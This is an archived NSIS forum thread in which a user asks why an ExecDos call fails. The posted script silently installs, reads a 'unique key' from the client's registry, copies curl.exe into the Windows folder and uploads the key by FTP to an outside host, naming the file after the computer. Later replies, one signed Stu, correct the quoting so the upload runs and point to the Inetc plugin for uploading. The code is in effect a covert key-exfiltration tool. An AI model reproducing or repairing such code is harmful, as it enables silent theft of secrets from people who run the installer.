Archive: ExecDos problem


ExecDos problem
I'm actually not exactly sure where the problem is.

I tried to do it manually, with cmd prompt, and cURL, and it worked fine. When I try to do it with ExecDos it does not work. There's the code. It's for uploading my client's unique key's to me for irrelevant reasons


Name "keyupload"
OutFile "keyupload.exe"
SilentInstall silent

Section
ReadRegStr $2 HKLM "SOFTWARE\ParaJ\unique" 'key'
SectionEnd

Section
Push $2
Push "C:\key.txt" ;file to write to
Call WriteToFile
SectionEnd

Function WriteToFile
ReadRegStr $0 HKLM "Software\ParaJ\unique" 'key'
FileOpen $1 "C:\key.txt" w
FileWrite $1 $0
FileClose $1
FunctionEnd

Section
SetOutPath $WINDIR
File curl.exe
AllowSkipFiles on
SectionEnd

Section
ReadEnvStr "$R0" COMSPEC
ExecDos::exec $R0 /c "C:\WINDOWS\curl.exe" "-T C:\key.txt ftp://*****:******@oinkme.llc.nu/%computername%.txt"
SectionEnd


This script will also breakpoint the process and CMD.exe so I need to close it via task manager.

Any help would be great

I would guess the correct code would be more like:
ExecDos::exec '"C:\WINDOWS\curl.exe" -T C:\key.txt ftp://*****:******@oinkme.llc.nu/%computername%.txt'
Pop $0
(It's late, and I'm too tired to read the ExecDos docs)

The Inetc plugin supports uploading aswell if that is all you are want


It must all be one parameter so place the whole thing within single quotes (I recommend ``).

Stu